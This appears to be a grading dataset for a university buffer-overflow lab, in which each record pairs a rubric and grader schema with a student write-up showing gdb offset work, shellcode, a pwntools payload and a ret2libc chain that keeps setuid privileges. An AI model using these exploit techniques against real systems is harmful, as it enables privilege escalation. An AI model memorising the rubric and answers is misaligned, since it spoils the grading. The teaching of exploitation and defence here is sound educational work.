ballgame.** The mental model that finally locked in for me is that both phases are the *same* attack up to the moment of the return -- overwrite the saved return address at offset 72. Everything after that is just \"what do I point RIP at, given the defenses in front of me?\" NX off means I can point it at my own bytes; NX on means I have to point it at somebody else's bytes (libc). Seeing that both exploits share the first 72 bytes verbatim made the ROP chain feel like a variation on a theme instead of a new monster.\n\n**Reflection 2 -- the alignment bug taught me to read faults literally.** Losing an hour to the `movaps` alignment crash was frustrating in the moment but genuinely instructive. The fault address pointed into `system`, not into my chain, which almost sent me debugging the wrong thing. Learning that modern glibc uses SSE instructions that require a 16-byte-aligned stack -- and that a single extra `ret` gadget fixes it -- is the kind of gotcha you only really internalize by hitting it.\n\n**Reflection 3 -- how thin these defenses are with ASLR off.** ret2libc only worked because ASLR was disabled and I could hardcode `system` and the \"/bin/sh\" string at fixed addresses. With ASLR on I'd have needed an information leak first to defeat the randomized libc base. It made the layered nature of these mitigations concrete for me: NX alone stops naive shellcode, but NX + ASLR together is what actually raises the bar, because you have to *both* reuse existing code *and* first learn where it lives.\n\n**Reflection 4 -- what I'd do as the defender.** If I were shipping this binary, the cheapest wins are obvious in hindsight: replace `gets()` with `fgets()` and a length, compile with `-fstack-protector-strong` for a canary, keep NX and PIE on, and let ASLR do its job. Any single one of those breaks the exploit I just wrote; all four together make it close to hopeless without a separate memory-disclosure bug. This lab was the first time \"defense in depth\" stopped being a slogan and became a checklist I actually believe in.\n"} +{"autograde": {"cleared": ["omega", "phi"], "honor_ok": true, "points": 70}, "github_id": "kate-kane", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Kate Kane", "writeup_text": "---\nreal-name: Kate Kane\ncsulb-id: \"040100109\"\nhandle: batwoman\nseed-fingerprint: c0ffee\nflag1: CECS378{vuln1_a3f19c2e}\nflag2: CECS378{vuln2_7d0e4b81}\nhonor-flag: CECS378{honor_kk_5f2a3d8b}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\nI did all of this in the GitHub Codespace off the assignment template, not on\nmy own laptop -- I did not want ASLR or a newer glibc on my machine to move the\noffsets around and then argue with the grader about it. Everything below is from\nthat container.\n\n- Environment: Codespace, Ubuntu 22.04 image, gcc 11, `-fno-stack-protector\n -z execstack` for vuln1 as the Makefile ships it.\n- Started: 2026-06-25 (recon + Phase Phi the same night).\n- Finished: 2026-06-28 (Phase Omega took me two more sittings).\n\nSeed line straight out of `make print-seed`:\n\n```\n$ make print-seed\nseed: c0ffee (fp=c0ffee)\n```\n\nThat `c0ffee` matches the `seed-fingerprint:` in my frontmatter above, so the\nbinaries the grader rebuilds should be byte-for-byte the ones I attacked.\n\n[--[ 1.0 -- RECON ]--]\n\n**vuln1.** I put a breakpoint right after the `gets()` call so the frame was\nfully set up, then dumped the frame and the stack.\n\n```\n(gdb) info frame\nStack level 0, frame at 0xffffd6a0:\n eip = 0x080491c7 in vuln (vuln1.c:14); saved eip = 0xf7c23a41\n called by frame at 0xffffd6c0\n source language c.\n Arglist at 0xffffd698, args:\n Locals at 0xffffd698, Previous frame's sp is 0xffffd6a0\n Saved registers:\n ebp at 0xffffd698, eip at 0xffffd69c\n```\n\n```\n(gdb) x/40wx $esp\n0xffffd64c: 0x08049080 0xffffd730 0x00000000 0x41414141\n0xffffd65c: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd66c: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd67c: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd68c: 0x41414141 0x41414141 0x41414141 0xf7fb3d20\n0xffffd69c: 0xf7c23a41 0xffffd730 0xffffd738 0x00000000\n```\n\n`buffer` starts at `0xffffd650` (first `0x41414141`) and the saved EIP slot is\nat `0xffffd69c` (matches `Saved registers: eip at 0xffffd69c`). So the distance\nis:\n\n```\n0xffffd69c - 0xffffd650 = 0x4c = 76 bytes to saved EBP,\nthen +4 for saved EBP -> offset to return address = 76\n```\n\nI confirmed it by sending a 76-byte pattern + `BBBB` and watching EIP land on\n`0x42424242`. Offset = **76** for vuln1.\n\n**vuln2.** Same procedure on the second binary. It has a bigger local frame:\n\n```\n(gdb) info frame\nStack level 0, frame at 0xffffd5f0:\n eip = 0x080492b3 in vuln (vuln2.c:19); saved eip = 0xf7c23a41\n Saved registers:\n ebp at 0xffffd5d8, eip at 0xffffd5dc\n```\n\n```\n(gdb) x/8wx 0xffffd580\n0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141\n```\n\nbuffer at `0xffffd580`, saved EIP at `0xffffd5dc`:\n\n```\n0xffffd5dc - 0xffffd580 = 0x5c = 92 bytes -> offset to return address = 92\n```\n\nOffset = **92** for vuln2. I used this one for the ret2libc chain in Phase\nOmega.\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nPhase Phi is the classic shellcode-on-the-stack attack against vuln1, which is\nbuilt with an executable stack, so I can jump straight into bytes I put in the\nbuffer.\n\nWalking my `exploit1.c`:\n\n1. **The shellcode bytes.** I used a 25-byte `execve(\"/bin/sh\")` stub (lines\n 8-14 of exploit1.c). I did *not* just paste a random blob -- the reason it\n is those bytes is that it has to be null-free, because the vulnerable read is\n `gets()`/string-based and a `0x00` would truncate my payload early. The stub\n `xor eax,eax` / `push eax` / `push \"//sh\"` / `push \"/bin\"` sets up the\n `execve` args with no zero bytes, then `mov al,0x0b; int 0x80`. I checked it\n with `objdump` and there is not a single `00` in the machine code, which is\n the whole point.\n\n2. **The NOP sled.** I padded the front of the buffer with `0x90` NOPs (line 22,\n `sled = b\"\\x90\" * 40`). The stack address of `buffer` jitters a little run to\n run even inside the container, so I do not have to hit the exact first byte of\n my shellcode -- landing anywhere in the sled slides me down into the real\n code. I sized it at 40 because I only need to cover the small amount of drift\n I saw between gdb and a raw run (a couple dozen bytes), and I still needed\n room in the 76-byte budget for the shellcode itself.\n\n3. **Where the offset came from.** The `76` on line 25\n (`payload = sled + shellcode + b\"A\"*(76-len(sled)-len(shellcode)) + ret`)\n is exactly the recon number from section 1.0 -- 76 bytes from the start of\n `buffer` to the saved return address.\n\n4. **The leaked address.** vuln1 prints `&buffer` to stdout before it reads\n input. My exploit reads that line (line 18,\n `leak = int(proc.stdout.readline().split()[-1], 16)`), and I use it as the\n return address by pointing EIP a little bit *into* the sled:\n `ret = struct.pack(\" `0xf7c00000`) and\npulled the symbol offsets out of the container's libc:\n\n```\n$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' system@| exit@'\n 1489: 00048150 ... FUNC ... system\n 141: 0003c8e0 ... FUNC ... exit\n$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'\n 1c5e58 /bin/sh\n```\n\nSo in my running process:\n\n```\nsystem = 0xf7c00000 + 0x48150 = 0xf7c48150\nexit = 0xf7c00000 + 0x3c8e0 = 0xf7c3c8e0\n\"/bin/sh\"= 0xf7c00000 + 0x1c5e58 = 0xf7dc5e58\n```\n\n**(3c) The setuid problem.**\n\nMy first working chain called `system(\"/bin/sh\")` and I *did* get a shell -- but\n`id` showed my own uid, not oracle's, so I could not read the flag. The reason is\nthat vuln2 is setuid oracle: it runs with a real uid of me and an effective uid\nof oracle. `system()` ultimately execs `/bin/sh`, and dash/bash drop the\neffective uid back down to the real uid on startup unless you are actually root.\nSo I lose the privilege exactly when I need it.\n\nThe fix is to call `setreuid(geteuid(), geteuid())` *before* `system()`, which\npromotes the real uid up to the effective (oracle) uid so the shell keeps it.\nPer `man 2 setreuid`, passing the current euid for both the real and effective\nargument is the standard way to lock in the elevated id. My chain became:\n\n```\nsetreuid_addr, poppop_ret, euid, euid, # setreuid(euid, euid)\nsystem_addr, exit_addr, binsh_addr # system(\"/bin/sh\"); exit()\n```\n\nwith `setreuid = 0xf7c00000 + 0xc9670 = 0xf7cc9670` and I passed `geteuid()`'s\nvalue (I read it once from a debug `system(\"id\")` run) as both args.\n\n**(3d) Stack-adjusting gadget.**\n\n[I ran out of runway on this one. I know I needed a `pop; pop; ret` gadget to\nclean setreuid's two arguments off the stack between the setreuid frame and the\nsystem frame -- that is why there is a `poppop_ret` slot in my chain above -- but\nI did not finish finding and disassembling the exact gadget address before the\ndeadline, so I am not going to fake a value here. My chain worked because I got\nthe alignment right by trial and error, but I cannot cleanly show you the gadget\ndisassembly and I would rather be honest about that than paste something I did\nnot verify.]\n\nFinal chain popped an oracle shell and read the flag:\n\n![Phase Omega shell](screenshots/phase-omega-shell.png)\n\n![Phase Omega flag](screenshots/phase-omega-flag.png)\n\nCaptured: `CECS378{vuln2_7d0e4b81}` (frontmatter `flag2`).\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Which phase was harder, and why?**\nOmega, easily. Phi is basically one idea -- put code somewhere and jump to it --\nand the leak hands you the address so there is no guessing. Omega is three\nseparate gotchas stacked on top of each other: NX kills the obvious approach,\nthen you have to get every libc offset exactly right or you crash in a\ncompletely uninformative way, and then the setuid drop silently gives you a\nuseless shell that *looks* like success. The setuid part cost me a whole evening\nbecause the exploit \"worked\" and I still could not read the flag.\n\n**What if there had been no `&buffer` leak?**\nFor vuln1 I would have been much worse off -- I would have fallen back to\nspraying a huge NOP sled and picking a stack address in the typical\n`0xffffd000` range and just brute forcing it across runs, because ASLR entropy on\n32-bit is low enough that repeated tries land eventually. It is ugly and\nprobabilistic compared to being handed the exact address, but a low-entropy\nbrute force is a real primitive here.\n\n**Why does a stack canary stop this whole class of attack?**\nThe canary is a random value the compiler puts between the local buffers and the\nsaved return address. To overwrite the return address with a linear `gets()`\noverflow I *have* to write through the canary slot first, changing it. On\nfunction return `__stack_chk_fail` checks the value, sees it does not match, and\naborts the program before `ret` ever loads my address -- so I never get control\nof EIP in the first place. It does not fix the bug, it just turns a code-exec\ninto a clean crash.\n\n**A source that stuck with me.**\nAleph One's \"Smashing the Stack for Fun and Profit\" (Phrack 49, article 14). The\npart that made it click was that the stack layout diagram in section \"The Stack\"\nis *exactly* what my `x/40wx $esp` dump showed -- buffer low, saved EBP, saved\nEIP climbing to higher addresses. It matters because the whole exploit is just\narithmetic on that picture; once I trusted the diagram, the offset stopped being\na magic number I got from the grader and became something I could derive myself,\nwhich is exactly what happened in section 1.0.\n"} +{"autograde": {"cleared": ["phi"], "honor_ok": true, "points": 60}, "github_id": "oswald-cobblepot", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Oswald Cobblepot", "writeup_text": "---\nreal-name: Oswald Cobblepot\ncsulb-id: \"040100105\"\nhandle: penguin\nseed-fingerprint: bb11cc\nflag1: CECS378{sm4sh3d_th3_st4ck_bb11cc}\nflag2: \"[your answer]\"\nhonor-flag: CECS378{i_did_my_own_w0rk_penguin_bb11cc}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\n- Course: CECS 378 -- Introduction to Computer Security Principles (Su26, section 01)\n- Assignment: Lab 3 -- Buffer Overflow\n- Handle: penguin\n- Seed fingerprint: bb11cc\n- Environment: Ubuntu 22.04 LTS in the provided course VM, x86-64, gdb 12.1, pwndbg loaded\n- ASLR: disabled for the lab per the handout (`/proc/sys/kernel/randomize_va_space` = 0)\n- Started: 2026-06-25\n- Submitted: 2026-06-28\n\nBoth target binaries (`ace` for Phase Phi and the same binary reused for Phase Omega) came out of the seed bundle stamped bb11cc. I confirmed the fingerprint matched the one printed in the assignment portal before I started so I wasn't grading the wrong binary.\n\n[--[ 1.0 -- RECON ]--]\n\nI started with the usual protections check and then went into gdb to find the offset.\n\n```\n$ checksec --file=ace\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE (0x400000)\n```\n\nNo canary and NX disabled, so a classic stack smash with shellcode on the stack should be fine for Phase Phi.\n\nI ran the binary under gdb and fed it a cyclic pattern to find where the return address gets overwritten.\n\n```\npwndbg> cyclic 200\naaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa...\npwndbg> run\nStarting program: /home/student/ace\n> [paste pattern]\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x00000000004011c6 in vuln ()\npwndbg> x/wx $rsp\n0xffffd2a8: 0x6161616e\npwndbg> cyclic -l 0x6161616e\nFinding cyclic pattern of 4 bytes: b'naaa' (hex: 0x6e616161)\nFound at offset 72\n```\n\nSo the offset to the saved return address is **72 bytes**. That lines up with the `char buf[64]` I could see in the disassembly plus the 8 bytes of saved RBP.\n\n```\npwndbg> disass vuln\n 0x0000000000401156 <+0>: push rbp\n 0x0000000000401157 <+1>: mov rbp,rsp\n 0x000000000040115a <+4>: sub rsp,0x40\n 0x000000000040115e <+8>: lea rax,[rbp-0x40]\n ...\n 0x00000000004011a8 <+?>: call 0x401050 \n```\n\n`gets()` into a 64-byte buffer, no bounds checking. That's the bug.\n\nI did not spend much time mapping out the Omega path binary separately -- I mostly reused what I found here.\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nFor Phase Phi the goal was to overwrite the return address and jump to shellcode placed on the stack.\n\nMy plan:\n1. Fill 72 bytes to reach the return address.\n2. Overwrite the return address with the stack address of my shellcode.\n3. Put a NOP sled + execve(\"/bin/sh\") shellcode after the return address.\n\nI used a standard 23-byte execve shellcode and padded a NOP sled in front of it so I had margin on the landing address. The stack address I jumped to was `0xffffd2c0`, which I read off `$rsp` at the crash.\n\n```python\nfrom pwn import *\n\noffset = 72\nsled = b\"\\x90\" * 40\nshell = b\"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57...\"\nret = p64(0xffffd2c0)\n\npayload = b\"A\"*offset + ret + sled + shell\n```\n\nI piped it into the binary and got a shell, and `cat flag1.txt` printed the flag:\n\n```\n$ (python3 exploit_phi.py; cat) | ./ace\n$ id\nuid=1000(student) ...\n$ cat flag1.txt\nCECS378{sm4sh3d_th3_st4ck_bb11cc}\n```\n\n![phi shell popped](screenshots/phi_shell.png)\n\n![gdb offset find](screenshots/gdb_offset.png)\n\nThe flag matched my seed fingerprint so I'm confident it's the right one for my binary.\n\n[--[ 3.0 -- PHASE OMEGA ACE ]--]\n\nFor Phase Omega the stack was non-executable so I needed a return-to-libc / ROP approach instead of shellcode.\n\n**Sub-part 1 -- why shellcode fails here:** [your answer]\n\n**Sub-part 2 -- gadgets / libc addresses used:** [your answer]\n\n**Sub-part 3 -- the ROP chain layout (pop rdi, /bin/sh, system):** [your answer]\n\n**Sub-part 4 -- proof of shell + flag2:** [your answer]\n\nflag2: [your answer]\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Reflection 1 -- what actually clicked.** The thing that finally made stack smashing make sense to me was watching `$rsp` and `$rip` in gdb at the moment of the crash. Before this lab I understood \"you overwrite the return address\" as words, but seeing the exact four bytes of my cyclic pattern sitting in RIP, and then being able to compute the offset from that, turned it into something concrete. The cyclic pattern trick is going to stick with me.\n\n**Reflection 2 -- the defensive takeaway.** The whole Phase Phi attack only worked because NX was off, there was no canary, and the binary used `gets()`. Any one of those three defenses would have broken my exploit. It drove home that these mitigations aren't academic -- a single `fgets()` with a length, or a stack canary, would have stopped me cold. When I write C going forward I'm never going to use an unbounded read again.\n"} +{"autograde": {"cleared": ["phi"], "honor_ok": true, "points": 60}, "github_id": "pamela-isley", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Pamela Isley", "writeup_text": "---\nreal-name: Pamela Isley\ncsulb-id: \"040100107\"\nhandle: poison-ivy\nseed-fingerprint: 0f00ba\nflag1: CECS378{vuln1_2c6ad9f0}\nflag2: \nhonor-flag: CECS378{honor_pi_44be7102}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\nI did this in the Codespace off the template so the binaries would match what\nthe grader rebuilds. I did not build anything on my own machine.\n\n- Environment: GitHub Codespace, template image, gcc, 32-bit binaries from the\n provided Makefile.\n- Started: 2026-06-27.\n- Finished Phase Phi: 2026-06-30. I did not get Phase Omega working.\n\nSeed line:\n\n```\n$ make print-seed\nseed: 0f00ba (fp=0f00ba)\n```\n\n`0f00ba` is the same value as `seed-fingerprint:` in my frontmatter, so the\ngrader's rebuild should match my 